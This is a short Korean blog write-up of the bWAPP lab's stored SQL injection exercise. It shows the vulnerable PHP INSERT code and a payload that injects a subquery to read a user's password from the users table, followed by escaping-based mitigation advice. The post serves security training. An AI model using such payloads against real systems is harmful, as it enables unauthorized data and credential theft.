Part-1, SQL 인젝션_저장(Blog)

1073 단어 비박스비박스
  • 이 글을 무단으로 전재 및 재배포를 금지하고 있습니다.
  • 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 본 내용을 악의적인 목적으로 사용 시 그에 대한 법적 책임을 포함한 모든 책임은 당사자에게 있으며, 작성자는 어떠한 책임도 지지 않음을 밝힙니다.

오류구문으로 서버종류 및 'bee') 라는 오류 내용을 통해 사용자의 아이디를 가장 마지막에 저장하는 점을 파악할 수 있음

--sqli_7.php 소스 중

$entry = sqli($_POST["entry"]);
$owner = $_SESSION["login"];

$sql = "INSERT INTO blog (date, entry, owner) VALUES (now(),'" . $entry . "','" . $owner . "')";

--SQL문에 공격구문 대입
INSERT INTO blog (date, entry, owner) VALUES (now(),'test', (select password from bWAPP.users where id=1 limit 0,1 ))#','" . $owner . "')

🔑대응방안

SQL 문법에서 사용하는 특수 문자가 있을 경우 백슬래시를 붙이는 등 입력 데이터를 SQL 문법에서 인식하지 않게 방어
PHP는 mysql_real_escape_string 함수를 사용하여 NULL, \n, \r(맨 앞이동), ', ", ^Z 특수문자를 우회함

좋은 웹페이지 즐겨찾기